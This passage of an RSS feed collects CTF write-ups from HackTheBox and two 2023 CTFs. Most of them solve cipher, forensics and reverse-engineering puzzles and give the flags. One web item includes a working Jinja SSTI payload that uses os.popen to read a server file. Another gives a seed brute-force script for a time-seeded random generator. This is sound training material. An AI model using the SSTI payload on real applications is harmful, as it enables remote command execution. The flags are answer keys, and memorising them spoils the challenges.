</span></span><span class="line"><span class="cl"><span class="n">cipher</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;05c61636499a82088bf4388203a93e67bf046f8c49f62857681ec9aaaa40b4772933e0abc83e938c84ff8e67e5ad85bd6eca167585b0cc03eb1333b1b1462d9d7c25f44e53bcb568f0f05219c0147f7dc3cbad45dec2f34f03bcadcbba866dd0c566035c8122d68255ada7d18954ad604965&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">16</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="n">gmpy2</span><span class="o">.</span><span class="n">local_context</span><span class="p">(</span><span class="n">gmpy2</span><span class="o">.</span><span class="n">context</span><span class="p">(),</span> <span class="n">precision</span><span class="o">=</span><span class="mi">800</span><span class="p">)</span> <span class="k">as</span> <span class="n">ctx</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">ctx</span><span class="o">.</span><span class="n">precision</span> <span class="o">+=</span> <span class="mi">800</span>
</span></span><span class="line"><span class="cl">    <span class="n">croot</span> <span class="o">=</span> <span class="n">gmpy2</span><span class="o">.</span><span class="n">cbrt</span><span class="p">(</span><span class="n">cipher</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">croot</span><span class="p">)))</span>
</span></span></code></pre></div><p>Flag: <code>HTB{n3v3r_us3_sm4ll_3xp0n3n7s_f0r_rs4}</code></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>RLotto - HackTheBox</title>
      <link>https://aftabsama.com/writeups/hackthebox/rlotto-crypto/</link>
      <pubDate>Fri, 29 Dec 2023 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/hackthebox/rlotto-crypto/</guid>
      <description>https://app.hackthebox.com/challenges/RLotto</description>
      <content:encoded><![CDATA[<hr>
<p><strong>Challenge Description</strong>: <em>Are you ready to win lottery? Guess the Random Lotto Numbers. It&rsquo;s TIME you become a millionaire.</em></p>
<p>In the given code we can see that it is using <code>seed = int(time.time())</code> to generate 5 random digits using <code>random.randint(1, 90)</code> <br>
It will give us the first 5 random digits and we have to guess next 5 to get the flag.</p>
<p>Because we have the first 5 random generated digits we can brute force the seed. Initial seed value would be <code>time.time()</code> befor we connect to server and incriment it by one. <br>
when we get the seed we can generate the next 5 digits.</p>
<p>python code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># seed = int(time.time())</span>
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="mi">1703848677</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">find_solution</span><span class="p">(</span><span class="n">s_extracted</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">global</span> <span class="n">seed</span>
</span></span><span class="line"><span class="cl">    <span class="n">s_extracted</span> <span class="o">=</span> <span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">s_extracted</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34; &#34;</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">random</span><span class="o">.</span><span class="n">seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">extracted</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">        <span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">extracted</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">5</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">r</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">90</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span><span class="p">(</span><span class="n">r</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">extracted</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="n">extracted</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">r</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">extracted</span> <span class="o">==</span> <span class="n">s_extracted</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="cl">        <span class="n">seed</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="n">solution</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">next_five</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">next_five</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">5</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">90</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">r</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">next_five</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="n">next_five</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">r</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">solution</span> <span class="o">+=</span> <span class="nb">str</span><span class="p">(</span><span class="n">r</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&#34; &#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">solution</span> <span class="o">=</span> <span class="n">solution</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[+] SOLUTION: &#34;</span> <span class="o">+</span> <span class="n">solution</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">pass</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">find_solution</span><span class="p">(</span><span class="s2">&#34;40 8 6 17 63&#34;</span><span class="p">)</span> <span class="c1"># [+] EXTRACTION Value</span>
</span></span></code></pre></div><p>Flag: <code>HTB{n3v3r_u53_pr3d1c74bl3_533d5_1n_p53ud0-r4nd0m_numb3r_63n3r470r}</code></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>CyberHavoc CTF 2023</title>
      <link>https://aftabsama.com/writeups/ctf/cyberhavoc-2023/</link>
      <pubDate>Mon, 18 Dec 2023 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/ctf/cyberhavoc-2023/</guid>
      <description>Write-ups for the CyberHavoc CTF 2023 challenges.</description>
      <content:encoded><![CDATA[<hr>
<p><a href="https://ctf.cyberhavoc.in/">https://ctf.cyberhavoc.in/</a></p>
<p>FLAG FORMAT: <code>CHCTF{}</code></p>
<h2 id="reverse-engineering">Reverse Engineering</h2>
<h3 id="start-the-dos">Start The Dos</h3>
<p>DESCRIPTION :
<em>Leon wants you to be a part of Agents of Havoc. He wants you to understand this software as old as hacking itself so as to fire a DoS Attack against whiterose&rsquo;s targets. Help him before he suspects your intentions.</em></p>
<p>file: <code>dosser.s</code></p>
<p>if look in this assembly code we can see that it is checking characters one by on like this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">mov al, [esi]
</span></span><span class="line"><span class="cl">    cmp al, 0o114
</span></span><span class="line"><span class="cl">    jne cmp_fail
</span></span><span class="line"><span class="cl">    inc esi
</span></span></code></pre></div><p>we can get flag by converting all this values we get from assembly <code>cmp</code></p>
<p>python code to do that:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;CHCTF{&#34;</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="p">[</span><span class="mo">0o114</span><span class="p">,</span> <span class="mo">0o63</span><span class="p">,</span> <span class="mo">0o63</span><span class="p">,</span> <span class="mo">0o124</span><span class="p">,</span> <span class="mo">0o137</span><span class="p">,</span> <span class="mo">0o103</span><span class="p">,</span> <span class="mo">0o122</span><span class="p">,</span> <span class="mo">0o64</span><span class="p">,</span> <span class="mo">0o103</span><span class="p">,</span> <span class="mo">0o113</span><span class="p">,</span> <span class="mo">0o63</span><span class="p">,</span> <span class="mo">0o122</span><span class="p">,</span> <span class="mo">0o137</span><span class="p">,</span> <span class="mo">0o65</span><span class="p">,</span> <span class="mo">0o124</span><span class="p">,</span> <span class="mo">0o122</span><span class="p">,</span> <span class="mo">0o61</span><span class="p">,</span> <span class="mo">0o113</span><span class="p">,</span> <span class="mo">0o63</span><span class="p">,</span> <span class="mo">0o123</span><span class="p">,</span> <span class="mo">0o137</span><span class="p">,</span> <span class="mo">0o64</span><span class="p">,</span> <span class="mo">0o107</span><span class="p">,</span> <span class="mo">0o64</span><span class="p">,</span> <span class="mo">0o61</span><span class="p">,</span> <span class="mo">0o116</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;}&#34;</span><span class="p">)</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag:  CHCTF{L33T_CR4CK3R_5TR1K3S_4G41N}
</span></span></code></pre></div><h2 id="crypto">Crypto</h2>
<h3 id="the-beginning-of-all">The Beginning Of All</h3>
<p>DESCRIPTION:</p>
<p><em>I was working on my laptop when my laptop suddenly glitched. I discussed it with my friends and to our surprise we all had the same color glitch. I guess it has to do something with the odd behavior of the people around me.</em></p>
<p><em>Remember the flag format!</em></p>
<p>file: <code>glitches.mp4</code></p>
<p>When i first open this file it is just some random frames of color of 3x2 matrix. so i just googled &ldquo;color code cipher ctf&rdquo; and got this link:</p>
<p><a href="https://www.dcode.fr/hexahue-cipher">https://www.dcode.fr/hexahue-cipher</a></p>
<p>After decoding we get this: <code>CHCTF5URR3ND3R 0R 5UFF3R</code></p>
<!--  char(67)char(72)char(67)char(84)char(70)char(53)char(85)char(82)char(82)char(51)char(78)char(68)char(51)char(82)char(32)char(48)char(82)char(32)char(53)char(85)char(70)char(70)char(51)char(82)  -->
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag: CHCTF{5URR3ND3R_0R_5UFF3R}
</span></span></code></pre></div><h3 id="leaked-convo">Leaked Convo</h3>
<p>given text:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">duv#r!|&#34;rG Xrr} (|$! %|vpr y|&amp;; Znxr &#34;$!r {| |{r urn!&#34; $&#34;;
</span></span><span class="line"><span class="cl">a(!ryyG N!r (|$ q|{r &amp;v#u (|$! &#34;r#$}L
</span></span><span class="line"><span class="cl">Yr|{G R%r!(#uv{t v&#34; &#34;r#; aur }n(y|nq&#34; n!r &#34;r#; aur #n!tr#&#34; n!r sv&#39;rq; V#â&#34; w$&#34;# n zn##r! |s #vzr {|&amp;.
</span></span><span class="line"><span class="cl">duv#r!|&#34;rG aur p|{pr}# |s &amp;nv#v{t or&amp;vyqr!&#34; zr; ]b]T`*&gt;DBlD&gt;g@lD=lBDArDlDb@lWAr,; dr {rrq #| xrr} !|#n#v{t |$! p|{%r!&#34;n#v|{ &#34;| #un# {|#uv{t tr#&#34; yrnxrq;
</span></span><span class="line"><span class="cl">a(!ryyG [|#rq.
</span></span></code></pre></div><p>It is rot 47 with n=81. and flag is in rot13.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag: CHCTF{175_71M3_70_574r7_7H3_W4r}
</span></span></code></pre></div><h3 id="top-password">Top Password</h3>
<p>DESCRIPTION:
<em>Out of nowhere, Leon signaled something to Cisco. Kind of some secret language. Since Leon is out of his place, why not a peek-a-boo into his room? I climbed to the 2nd floor to his room where I found his Tablet charging and a note pinned on the board. Maybe that&rsquo;s the password for the tablet. I NEED THAT!</em></p>
<p>file: <code>image.png</code></p>
<p>cipher text: <code>WXERGT_CSZWQWREGIYQZ</code></p>
<p>given image is French Sign Language which decode to : <code>JUMPINGEVENSTEPSONLY</code></p>
<p>It is <a href="https://www.dcode.fr/hill-cipher">hill cipher</a>. the matrix number values are (2, 4, 6, 8) from the <code>JUMPINGEVENSTEPSONLY</code> and alphabet 27 character.</p>
<p>decoded text: <code>DESTRUCTION_AT_PEAK_</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag: CHCTF{DESTRUCTION_AT_PEAK}
</span></span></code></pre></div><h2 id="digital-forensics">Digital Forensics</h2>
<h3 id="the-cryptic-sound">The Cryptic Sound</h3>
<p>file: <a href="https://github.com/Manoj-Mukund/files/blob/main/Right%20or%20Wrong.wav">Right or Wrong.wav</a></p>
<p>it is morse code in audio</p>
<p>tool used: <a href="https://morsecode.world/international/decoder/audio-decoder-adaptive.html">https://morsecode.world/international/decoder/audio-decoder-adaptive.html</a></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag: CHCTF{BONSOIRELLIOT}
</span></span></code></pre></div><h3 id="dump-digging">Dump Digging</h3>
<p>file: <code>Is it True.pcapng</code></p>
<p>there is one png file <code>zero or one.png</code> to extract it open Wireshark</p>
<p><code>File &gt; Export Objects &gt; HTTP</code> and select file and save.</p>
<p>inside this jpg image there is hexdump data</p>
<img width="480" alt="image" src="https://user-images.githubusercontent.com/79740895/233056542-f9587df2-4b5b-4094-b0a5-a3461876b12a.png">
<p>copy that and convert to raw data and save and change the header to <code>89 50 4E 47 0D 0A 1A 0A</code> and save as .png there is flag in this image.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag: CHCTF{Th3_most_pow3rful_motivator_in_th3_world_is_r3v3ng3}
</span></span></code></pre></div><h2 id="web">Web</h2>
<h3 id="tyrells-password-maze">Tyrell&rsquo;s Password Maze</h3>
<p>in HTML source code we can see this js:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">_0xcb06</span><span class="o">=</span><span class="p">[</span><span class="s2">&#34;\x76\x61\x6C\x75\x65&#34;</span><span class="p">,</span><span class="s2">&#34;\x75\x73\x65\x72\x6E\x61\x6D\x65&#34;</span><span class="p">,</span><span class="s2">&#34;\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64&#34;</span><span class="p">,</span><span class="s2">&#34;\x70\x61\x73\x73\x77\x6F\x72\x64&#34;</span><span class="p">,</span><span class="s2">&#34;\x43\x79\x62\x65\x72\x48\x61\x76\x6F\x63&#34;</span><span class="p">,</span><span class="s2">&#34;\x43\x79\x62\x65\x72\x48\x61\x76\x6F\x63\x23\x31\x32\x33\x34\x35&#34;</span><span class="p">,</span><span class="s2">&#34;\x4C\x6F\x67\x69\x6E\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x21&#34;</span><span class="p">,</span><span class="s2">&#34;\x51\x30\x68\x44\x56\x45\x5A\x37\x51\x6A\x42\x75\x4E\x54\x42\x70\x63\x6C\x38\x7A\x4D\x54\x45\x77\x4E\x31\x38\x33\x61\x47\x6B\x31\x58\x32\x6B\x31\x58\x32\x31\x35\x58\x32\x74\x70\x62\x6D\x64\x6B\x62\x32\x31\x66\x4E\x47\x35\x6B\x58\x33\x6B\x77\x64\x58\x49\x7A\x58\x32\x70\x31\x4E\x54\x64\x66\x4E\x46\x39\x32\x61\x54\x56\x70\x4E\x7A\x42\x79\x66\x51\x6F\x3D&#34;</span><span class="p">,</span><span class="s2">&#34;\x6C\x6F\x67&#34;</span><span class="p">,</span><span class="s2">&#34;\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C&#34;</span><span class="p">,</span><span class="s2">&#34;\x72\x65\x73\x75\x6C\x74&#34;</span><span class="p">,</span><span class="s2">&#34;\x57\x65\x6C\x6C\x20\x64\x6F\x6E\x65\x2C\x20\x45\x6C\x6C\x69\x6F\x74\x2E\x20\x59\x6F\x75\x20\x68\x61\x76\x65\x20\x70\x72\x6F\x76\x65\x6E\x20\x79\x6F\x75\x72\x73\x65\x6C\x66\x20\x74\x6F\x20\x62\x65\x20\x61\x20\x73\x6B\x69\x6C\x6C\x65\x64\x20\x68\x61\x63\x6B\x65\x72\x2E\x20\x42\x75\x74\x20\x74\x68\x65\x20\x72\x65\x61\x6C\x20\x63\x68\x61\x6C\x6C\x65\x6E\x67\x65\x20\x69\x73\x20\x79\x65\x74\x20\x74\x6F\x20\x63\x6F\x6D\x65\x2E\x20\x41\x72\x65\x20\x79\x6F\x75\x20\x72\x65\x61\x64\x79\x20\x74\x6F\x20\x75\x6E\x72\x61\x76\x65\x6C\x20\x74\x68\x65\x20\x73\x65\x63\x72\x65\x74\x73\x20\x6F\x66\x20\x74\x68\x65\x20\x6D\x61\x7A\x65\x20\x61\x6E\x64\x20\x64\x69\x73\x63\x6F\x76\x65\x72\x20\x74\x68\x65\x20\x74\x72\x75\x74\x68\x20\x62\x65\x68\x69\x6E\x64\x20\x74\x68\x65\x20\x63\x68\x61\x6F\x73\x20\x69\x6E\x20\x74\x68\x65\x20\x63\x79\x62\x65\x72\x20\x77\x6F\x72\x6C\x64\x3F&#34;</span><span class="p">,</span><span class="s2">&#34;\x49\x6E\x76\x61\x6C\x69\x64\x20\x75\x73\x65\x72\x6E\x61\x6D\x65\x20\x6F\x72\x20\x70\x61\x73\x73\x77\x6F\x72\x64\x2E&#34;</span><span class="p">];</span><span class="kd">function</span> <span class="nx">login</span><span class="p">(){</span><span class="kr">const</span> <span class="nx">_0x4367x2</span><span class="o">=</span><span class="nb">document</span><span class="p">[</span><span class="nx">_0xcb06</span><span class="p">[</span><span class="mi">2</span><span class="p">]](</span><span class="nx">_0xcb06</span><span class="p">[</span><span class="mi">1</span><span class="p">])[</span><span class="nx">_0xcb06</span><span class="p">[</span><span class="mi">0</span><span class="p">]];</span><span class="kr">const</span> <span class="nx">_0x4367x3</span><span class="o">=</span><span class="nb">document</span><span class="p">[</span><span class="nx">_0xcb06</span><span class="p">[</span><span class="mi">2</span><span class="p">]](</span><span class="nx">_0xcb06</span><span class="p">[</span><span class="mi">3</span><span class="p">])[</span><span class="nx">_0xcb06</span><span class="p">[</span><span class="mi">0</span><span class="p">]];</span><span class="k">if</span><span class="p">(</span><span class="nx">_0x4367x2</span><span class="o">===</span> <span class="nx">_0xcb06</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="o">&amp;&amp;</span> <span class="nx">_0x4367x3</span><span class="o">===</span> <span class="nx">_0xcb06</span><span class="p">[</span><span class="mi">5</span><span class="p">]){</span><span class="nx">alert</span><span class="p">(</span><span class="nx">_0xcb06</span><span class="p">[</span><span class="mi">6</span><span class="p">]);</span><span class="nx">console</span><span class="p">[</span><span class="nx">_0xcb06</span><span class="p">[</span><span class="mi">8</span><span class="p">]](</span><span class="nx">_0xcb06</span><span class="p">[</span><span class="mi">7</span><span class="p">]);</span><span class="nb">document</span><span class="p">[</span><span class="nx">_0xcb06</span><span class="p">[</span><span class="mi">2</span><span class="p">]](</span><span class="nx">_0xcb06</span><span class="p">[</span><span class="mi">10</span><span class="p">])[</span><span class="nx">_0xcb06</span><span class="p">[</span><span class="mi">9</span><span class="p">]]</span><span class="o">=</span> <span class="nx">_0xcb06</span><span class="p">[</span><span class="mi">11</span><span class="p">]}</span><span class="k">else</span> <span class="p">{</span><span class="nx">alert</span><span class="p">(</span><span class="nx">_0xcb06</span><span class="p">[</span><span class="mi">12</span><span class="p">])}}</span>
</span></span></code></pre></div><p>we can use devtools to deobfuscate this</p>
<p>we can see the username, password, and base64 string</p>
<img width="899" alt="image" src="https://user-images.githubusercontent.com/79740895/233036027-090718f7-ba4c-47fc-9d58-674a508cc7b8.png">
<p><code>Q0hDVEZ7QjBuNTBpcl8zMTEwN183aGk1X2k1X215X2tpbmdkb21fNG5kX3kwdXIzX2p1NTdfNF92aTVpNzByfQo=</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag: CHCTF{B0n50ir_31107_7hi5_i5_my_kingdom_4nd_y0ur3_ju57_4_vi5i70r}
</span></span></code></pre></div><p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Lag and Crash 3.0 CTF 2023</title>
      <link>https://aftabsama.com/writeups/ctf/lag-and-crash-3/</link>
      <pubDate>Mon, 18 Dec 2023 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/ctf/lag-and-crash-3/</guid>
      <description>Write-ups for the Lag and Crash 3.0 CTF 2023 challenges.</description>
      <content:encoded><![CDATA[<hr>
<p><a href="https://ctf.lagncra.sh/challenges">https://ctf.lagncra.sh/challenges</a></p>
<h2 id="web">Web</h2>
<h3 id="dotdashdot">DotDashDot</h3>
<p>Description: <em>An ancient relic of the past&hellip; what&rsquo;s it doing here?</em></p>
<p><a href="http://dotdashdot.d.lagncra.sh">http://dotdashdot.d.lagncra.sh</a></p>
<p>There is one comment in html source</p>
<img width="233" alt="image" src="https://user-images.githubusercontent.com/79740895/231981877-0bf5621b-99ad-444c-8fa1-f42b2e848fcf.png">
<p><a href="http://dotdashdot.d.lagncra.sh/translate">http://dotdashdot.d.lagncra.sh/translate</a></p>
<img width="475" alt="image" src="https://user-images.githubusercontent.com/79740895/231982345-cbbd17fb-bd74-4f22-97bf-d8e29d99f035.png">
<p>It will convert our input to morse code and it is vulnerable to SSTI.</p>
<p>test payload: <code>--&gt; {{8*8}}</code></p>
<img width="330" alt="image" src="https://user-images.githubusercontent.com/79740895/231982840-ee4dbd56-8c82-4a10-bda5-89f553eabe49.png">
<p>Now we can use RCE payload to read flag</p>
<p>Payload: <code>--&gt;{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /www/flag.txt').read() }}</code></p>
<img width="458" alt="image" src="https://user-images.githubusercontent.com/79740895/231983204-6f38a96f-67a4-4d83-a804-54b622a1c631.png">
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag: LNC2023{T3mpl4t35_4r3_c00L_bUt_d4nG3r0u5_776843}
</span></span></code></pre></div><h3 id="the-password">The Password</h3>
<p>Description: <em>You stumble across a secret website that asks for your password&hellip;</em></p>
<p><em>thepassword.s.lagncra.sh</em></p>
<p>flag is in the js file.</p>
<p><a href="http://thepassword.s.lagncra.sh/password.js">http://thepassword.s.lagncra.sh/password.js</a></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag: LNC2023{s0m3t1me$_1t_i5_pr377y_s1aY}
</span></span></code></pre></div><h2 id="crypto">Crypto</h2>
<h3 id="you-dont-know-about-us">You Don&rsquo;t Know About Us</h3>
<p>Description: _You ain’t gonna understand our language!</p>
<p>JZUWGZJAORZHSIDIOVWWC3RBEBKGQ2LTEBUXGIDUNBSSAYLDOR2WC3BAMVXGG33EMVSCA3LFONZWC43HMU5AUQSEKMZDAMRTPN2GWY3SORVWG4T5_</p>
<p>It is Base32 &gt; Rot 10(Rot13 with n=10)</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag:  LNC2023{dumbdumb}
</span></span></code></pre></div><h3 id="zig-zag">Zig Zag</h3>
<p>Description: <em>Oh shoot, I should build some RAIL with FENCE.</em></p>
<p><em>N2ISTVSLC03HSAQIEBIU2TWUOO</em></p>
<p>It is Rail Fence (Zig-Zag) Cipher</p>
<p>Decoder for reference: <a href="https://www.dcode.fr/rail-fence-cipher">https://www.dcode.fr/rail-fence-cipher</a></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag: LNC2023{THISWASQUITEOBVIOUS}
</span></span></code></pre></div><h3 id="hope">Hope</h3>
<p>Description: <em>Can you find the reason why the survivals are still surviving? The reason for their strong suvival skills can be found after decrypting their message. Flag format is LNC2023{flag}</em></p>
<p>attached file: message.txt</p>
<p>it contains following:</p>
<p>Encoded Key: 36f9a5900a637b0248cf7c8fe3af44ca</p>
<p>Encoded Message: &hellip;- -.&ndash; .. .. .. .&ndash; &ndash; .-.. .&ndash; -..-</p>
<p>Encoded Key is md5 hash of <code>SUPERKEY</code>. <a href="https://crackstation.net/">https://crackstation.net/</a></p>
<p>Encoded Message is Morse code which decode to <code>VYIIIWMLWX</code></p>
<p>It is <a href="https://www.dcode.fr/vigenere-cipher">Vigenere Cipher</a> and key to decrypt is <code>SUPERKEY</code></p>
<p>decoded text is <code>DETERMINED</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag: LNC2023{DETERMINED}
</span></span></code></pre></div><h2 id="forensics">Forensics</h2>
<h3 id="base-madness">Base Madness</h3>
<p>Description: <em>Zip files and encryptions were used often in the modern times. You came across this 2 files. One containing a text one is a zip file. Are you able to decipher it?</em></p>
<p>two files are given: base_madness.txt, base_madness.zip</p>
<p>base_madness.txt is base64 encoded: <code>thisisthepasswordtounlockthefile</code></p>
<p>unzip the file with this file. There is one image ayaka.png</p>
<p>open this image with notepad there is flag.</p>
<img width="361" alt="image" src="https://user-images.githubusercontent.com/79740895/231988288-e124c423-d078-4d08-ae81-70ea09e39c77.png">
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag:  LNC2023{ayaka_is_key}
</span></span></code></pre></div><h3 id="wave">Wave</h3>
<p>Description: <em>I love this spectrum. My kind of vibe.</em></p>
<p>Attached file: wave.wav</p>
<p>As the description suggests flag is in Spectrogram of audio file.</p>
<img width="644" alt="image" src="https://user-images.githubusercontent.com/79740895/232098960-27cf44d3-794c-4bd8-ae6b-45e746c6e211.png">
<p>Tool used: Sonic Visualizer</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag: LNC2023{annoyingwave}
</span></span></code></pre></div><h3 id="incompetent">Incompetent</h3>
<p>Description: <em>This is a sample description for my awesome challenge</em></p>
<p>Attached file: secret.zip</p>
<p>unzip the file and there are two more file: Homework.zip, password.docx (inside folder name Important)</p>
<p>Homework.zip have flag.docx inside but it is password protected. Password is in password.docx but not visible to us because it is in strings.</p>
<img width="167" alt="image" src="https://user-images.githubusercontent.com/79740895/232106248-e53a58da-7da7-47bd-97cc-154b9cf750d2.png">
<p>Reference: <a href="https://gchq.github.io/CyberChef/">https://gchq.github.io/CyberChef/</a></p>
<p>password: <code>kimiwadekinaiko</code></p>
<p>Now we can open flag.docx but flag is not visible because again it is in strings.</p>
<img width="196" alt="image" src="https://user-images.githubusercontent.com/79740895/232106899-797dd885-701a-457a-bc9a-feed22f19014.png">
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag: LNC2023{konoyodeichibandekinaiko}
</span></span></code></pre></div><h3 id="embedment">Embedment</h3>
<p>Description: <em>It looks like there is a secret message that is embeded into the picture. Find a way to retrieve the embeded materials from the image to obtain the flag.</em></p>
<p>attached file: <a href="https://user-images.githubusercontent.com/79740895/232201150-433884d6-e09f-4c73-ada8-9ddc9e2b9f3f.png">Flag.png</a></p>
<p>word document file is embedded in this image.</p>
<p>to extract right click on image open with 7z as archive and save extracted files.</p>
<img width="214" alt="image" src="https://user-images.githubusercontent.com/79740895/232201217-31618063-c885-4878-a448-6fe4b5581c6d.png">
<p>compress this extracted file to zip and rename to <code>flag.docx</code> now it will open as word document.</p>
<img width="324" alt="image" src="https://user-images.githubusercontent.com/79740895/232201487-92cf08ea-1f0c-4efc-b246-325ee348fb2e.png">
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag: LNC2023{S3cr3tF1aG}
</span></span></code></pre></div><h2 id="reverse">Reverse</h2>
<h3 id="first-program">First Program</h3>
